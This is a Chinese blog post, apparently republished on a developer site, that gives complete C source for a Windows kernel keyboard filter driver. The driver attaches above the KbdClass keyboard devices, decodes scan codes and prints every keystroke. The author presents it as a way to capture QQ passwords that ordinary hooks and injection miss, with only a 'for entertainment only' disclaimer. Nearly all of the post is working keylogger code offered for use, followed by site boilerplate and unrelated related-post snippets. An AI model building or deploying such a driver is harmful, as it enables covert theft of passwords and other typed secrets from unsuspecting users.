键盘记录器,可截获到 QQ 的密码「建议收藏」

键盘记录器,可截获到 QQ 的密码「建议收藏」虽然QQ 的密码框经过了特殊的处理,但是通过一些特殊手段仍然可以得到输入过程中键盘输入的内容。代码仅供娱乐使用!

大家好,又见面了,我是你们的朋友全栈君。

        由于 QQ 密码做了特殊的保护,所以通过远程注入得到密码框内容以及通过钩子来得到键盘消息均不能探测到 QQ 的密码,但是通过对键盘驱动的过滤却是可以记录下 QQ 密码输入期间的内容,附上源码。

#define DBG 1
#include <ntddk.h>
#include <ntstrsafe.h>
#include "KeyMonitor.h"
extern POBJECT_TYPE IoDriverObjectType;
PIO_STACK_LOCATION g_islCompletion;
int g_caps, g_shift, g_num;
unsigned char asciiTbl[]={
0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //normal
0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x0D, 0x00, 0x61, 0x73,
0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x7A, 0x78, 0x63, 0x76,
0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //caps
0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x5B, 0x5D, 0x0D, 0x00, 0x41, 0x53,
0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x5A, 0x58, 0x43, 0x56,
0x42, 0x4E, 0x4D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //shift
0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D, 0x0D, 0x00, 0x41, 0x53,
0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x5A, 0x58, 0x43, 0x56,
0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //caps + shift
0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x7B, 0x7D, 0x0D, 0x00, 0x61, 0x73,
0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x7A, 0x78, 0x63, 0x76,
0x62, 0x6E, 0x6D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E
};
NTSTATUS
ObReferenceObjectByName (
__in PUNICODE_STRING ObjectName,
__in ULONG Attributes,
__in_opt PACCESS_STATE AccessState,
__in_opt ACCESS_MASK DesiredAccess,
__in POBJECT_TYPE ObjectType,
__in KPROCESSOR_MODE AccessMode,
__inout_opt PVOID ParseContext,
__out PVOID *Object
);
VOID KMUnload(IN PDRIVER_OBJECT pDriverObject);
NTSTATUS KMUnHandleIrp(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMOpenClose(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMPnp(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMPower(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMAddDevice(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath);
NTSTATUS KMRead(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMReadCompletion(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context);
void KMPrintKey(UCHAR sch);
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath)
{
int i = 0;
KdPrint(("This is my driver, Henzox!\n"));
pDriverObject->DriverUnload = KMUnload;
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION + 1; i++) {
pDriverObject->MajorFunction[i] = KMUnHandleIrp;
} 
pDriverObject->MajorFunction[IRP_MJ_CREATE] = KMOpenClose;
pDriverObject->MajorFunction[IRP_MJ_CLOSE] = KMOpenClose;
pDriverObject->MajorFunction[IRP_MJ_PNP] = KMPnp;
pDriverObject->MajorFunction[IRP_MJ_POWER] = KMPower;
pDriverObject->MajorFunction[IRP_MJ_READ] = KMRead;
return KMAddDevice(pDriverObject, puServiceRegPath);
}
VOID KMUnload(IN PDRIVER_OBJECT pDriverObject)
{
PDEVICE_OBJECT tmpDevice;
PMY_DEVICE_EXTENSION myDeviceExtension;
KdPrint(("The unload function is invoked!\n"));
tmpDevice = pDriverObject->DeviceObject;
while (tmpDevice) {
PDEVICE_OBJECT nextDevice;
KdPrint(("delete devobj: 0x%p.\n",tmpDevice));
myDeviceExtension = (PMY_DEVICE_EXTENSION)tmpDevice->DeviceExtension;
// 如果还有完成例程没有执行,则取消掉这个完成例程
if (myDeviceExtension->IslCompletion) {
myDeviceExtension->IslCompletion->CompletionRoutine = NULL;
// 只去掉与完成例程相关的几个标志位,栈内的其它标志位非常重要,不能去除
myDeviceExtension->IslCompletion->Control &= ~(SL_INVOKE_ON_SUCCESS | SL_INVOKE_ON_CANCEL | SL_INVOKE_ON_ERROR);
}
IoDetachDevice(myDeviceExtension->AttachedTo);
nextDevice = tmpDevice->NextDevice;
IoDeleteDevice(tmpDevice);
tmpDevice = nextDevice;
}
}
NTSTATUS KMUnHandleIrp(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
KdPrint(("Irp: %d\n", IoGetCurrentIrpStackLocation(Irp)->MajorFunction));
IoSkipCurrentIrpStackLocation(Irp);
return IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
}
NTSTATUS KMOpenClose(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
KdPrint(("KMOpenClose.\n"));
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS KMPnp(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
PIO_STACK_LOCATION pIo = IoGetCurrentIrpStackLocation(Irp);
KdPrint(("KMPnp.\n"));
switch (pIo->MinorFunction) {
default:
IoSkipCurrentIrpStackLocation(Irp);
IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
break;
}
return STATUS_SUCCESS;
}
NTSTATUS KMPower(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
KdPrint(("KMPower.\n"));
IoSkipCurrentIrpStackLocation(Irp);
PoStartNextPowerIrp(Irp);
return PoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
}
NTSTATUS KMAddDevice(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath)
{
UNICODE_STRING usObjectName;
PDRIVER_OBJECT KbdDriver;
NTSTATUS status;
PDEVICE_OBJECT tmpDevice, myDevice;
UNICODE_STRING usDeviceName;
WCHAR buff[64];
int index = 0;
PMY_DEVICE_EXTENSION DeviceExtension;
RtlInitUnicodeString(&usObjectName, L"\\Driver\\KbdClass");
status = ObReferenceObjectByName(&usObjectName,
OBJ_CASE_INSENSITIVE,
NULL,
0,
IoDriverObjectType,
KernelMode,
NULL,
(PVOID)&KbdDriver);
if (!NT_SUCCESS(status)) {
KdPrint(("Find the kbd class failed!\n"));
return status;
}
tmpDevice = KbdDriver->DeviceObject;
while (tmpDevice) {
swprintf(buff, L"\\Device\\MyDevice%d", index++);
RtlInitUnicodeString(&usDeviceName, buff);
status = IoCreateDevice(pDriverObject,
sizeof(MY_DEVICE_EXTENSION),
&usDeviceName,
tmpDevice->DeviceType,
tmpDevice->Characteristics,
FALSE,
&myDevice);
if (!NT_SUCCESS(status)) {
ObDereferenceObject(KbdDriver);
return status;
}
KdPrint(("devobj: 0x%p.\n",myDevice));
IoAttachDeviceToDeviceStack(myDevice, tmpDevice);
DeviceExtension = (PMY_DEVICE_EXTENSION)myDevice->DeviceExtension;
DeviceExtension->AttachedTo = tmpDevice;
/* Setup my device */
myDevice->StackSize = tmpDevice->StackSize + 1;
myDevice->Flags |= (tmpDevice->Flags & (DO_BUFFERED_IO));			// 在 IoCreateDevice 时 Flags 会被赋于一些标志,这里应该保留这些标志,(如 DO_DEVICE_HAS_NAME 等,牵涉到引用计数)
tmpDevice = tmpDevice->NextDevice;
}
ObDereferenceObject(KbdDriver);
return STATUS_SUCCESS;
}
NTSTATUS KMRead(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
PMY_DEVICE_EXTENSION myDeviceExtension;
//KdPrint(("KMRead.\n"));
myDeviceExtension = (PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension;
IoCopyCurrentIrpStackLocationToNext(Irp);
/* 只有驱动可以保证在完成例程被调用之前不被卸载的情况下,可以使用 IoSetCompletionRoutine,
如果你不能保证,那么就需要用 IoSetCompletionRoutineEx,让内核来使驱动不被卸载*/
/*IoSetCompletionRoutine(Irp,
KMReadCompletion,
NULL,
TRUE,
TRUE,
TRUE);*/
IoSetCompletionRoutineEx(DeviceObject,
Irp,
KMReadCompletion,
NULL,
TRUE,
TRUE,
TRUE);
myDeviceExtension->IslCompletion = IoGetNextIrpStackLocation(Irp);
return IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
}
NTSTATUS KMReadCompletion(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context)
{
PMY_DEVICE_EXTENSION myDeviceExtension;
PUCHAR buff;
int len;
//KdPrint(("KMReadCompletion: Key--0x%p\n", *(PULONG)Irp->AssociatedIrp.SystemBuffer));
/* 该次 IRP 的完成例程已执行,栈会在该函数执行完时自动清空,所以不应该在引用该栈 */
myDeviceExtension = (PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension;
myDeviceExtension->IslCompletion = NULL;
if (NT_SUCCESS(Irp->IoStatus.Status)) {
// 由于设备标志为 DO_BUFFERED_IO, 内核分配了该缓冲区
buff = Irp->AssociatedIrp.SystemBuffer;
// 返回值一般都保存在 Information 中,即长度
len = Irp->IoStatus.Information;
if (buff[4] == 0) {
/* 键盘被按下 */
switch (buff[2]) {
case 0x3A:
g_caps = (g_caps == 1)?0:1;
break;
case 0x2A:
case 0x36:
g_shift = 1;
break;
case 0x45:
g_num = (g_num == 1)?0:1;
break;
default:
KMPrintKey(buff[2]);
break;
}
} else if (buff[4] == 1) {
/* 键盘被释放 */
switch (buff[2]) {
case 0x2A:
case 0x36:
g_shift = 0;
break;
default: break;
}
}
}
if (Irp->PendingReturned) {
IoMarkIrpPending(Irp);
}
return Irp->IoStatus.Status;
}
void KMPrintKey(UCHAR sch)
{
UCHAR ch = 0;
if ((sch < 0x47) || ((sch >= 0x47 && sch < 0x54) && g_num==0)) {
ch = asciiTbl[sch];
if(g_shift && g_caps)
ch = asciiTbl[sch+84*3];
else if(g_shift==1)
ch = asciiTbl[sch+84*2];
else if(g_caps==1)
ch = asciiTbl[sch+84];
}
if(ch==0x08)
{
//DbgPrint("退格");
}
if (ch >= 0x20 && ch < 0x7F)
{
DbgPrint("%C",ch);
}
}

        键盘映射表来源于网络。整段代码仅供娱乐使用。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/162193.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • android psd预览图软件,来自psd的Android Vector drawable具有空预览

    android psd预览图软件,来自psd的Android Vector drawable具有空预览在屏幕截图中,文件中没有pathdata.因此,屏幕上没有任何内容.我正在显示VectorDrawablexml文件的内容.将内容复制到androidstudio中的空白xml文件中,并在屏幕上看到蓝色绘制的形状.android:width=”600dp”android:height=”600dp”android:viewportWidth=”800.0″android:viewportHei…

  • Rsyslogd 配置[通俗易懂]

    Rsyslogd 配置[通俗易懂]Rsyslogd配置一般的,Rsyslogd的配置文件在/etc/rsyslog.conf。配置文件格式有3种格式的配置文件basic基础配置格式,兼容syslog.conf格式advanced以前叫RainerScript格式,在rsyslogv6开始使用obsoletelegacy传统的格式,仅为确保旧有配置不会出错需要用哪种格式强烈建议不要使用传统格式,应在基…

  • 2015智能家居市场十大收购案

    2015智能家居市场十大收购案一方面,由于智能家居行业发展前景的无可**,大企业纷纷拓展智能家居业务;另一方面,资本寒冬来袭,小型智能家居企业纷纷求抱大腿。一时间,智能家居行业收购案频频发生。此等收购案背后真正企图是什么?又会给智能家居行业的发展带来哪些影响?  高通24亿美元收购英国CSR进军智能家居2015年8月13日,全球最大智能手机芯片供应商高通正式宣布以24亿美元完成对…

  • java常量的定义

    java常量的定义在Java语言中,主要是利用final关键字来定义常量。当常量被设定后,一般情况下就不允许再进行更改。如可以利用如下的形式来定义一个常量:finaldoublePI=3.1315。在定义这个常量时,需要注意如下内容:一是常量在定义的时候,就需要对常量进行初始化。也就是说,必须要在常量声明时对其进行初始化。都跟局部变量或者成员变量不同。当在常量定义的时候初始化过后,在应用程序中就无法再次对这

  • Matlab2018a安装包Linux版本

    Matlab2018a安装包Linux版本Matlab2018a安装包:链接:https://pan.baidu.com/s/1TAT6ZF98Qf6spBY63u5pJQ提取码:3c75安装教程参考主页之前的博文。

  • ISP举例_low input lag

    ISP举例_low input lag  从2000年9月底摄像头首次出现在手机上算起,到如今成为诸多智能设备不可或缺的一部分,便携式手机摄像头已经走过了18年的发展历程。随着手机智能化、轻薄化的发展进程,其搭载的摄像头也随之发生了变化,但基本结构并未有太大的改变。通常而言,一个摄像头硬件应包含以下五个部分:外壳(Housing)或者镜头固定物(LensHolder)、镜头(Lens)、红外截止滤波片(IR-cutfilter…

    2022年10月23日

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号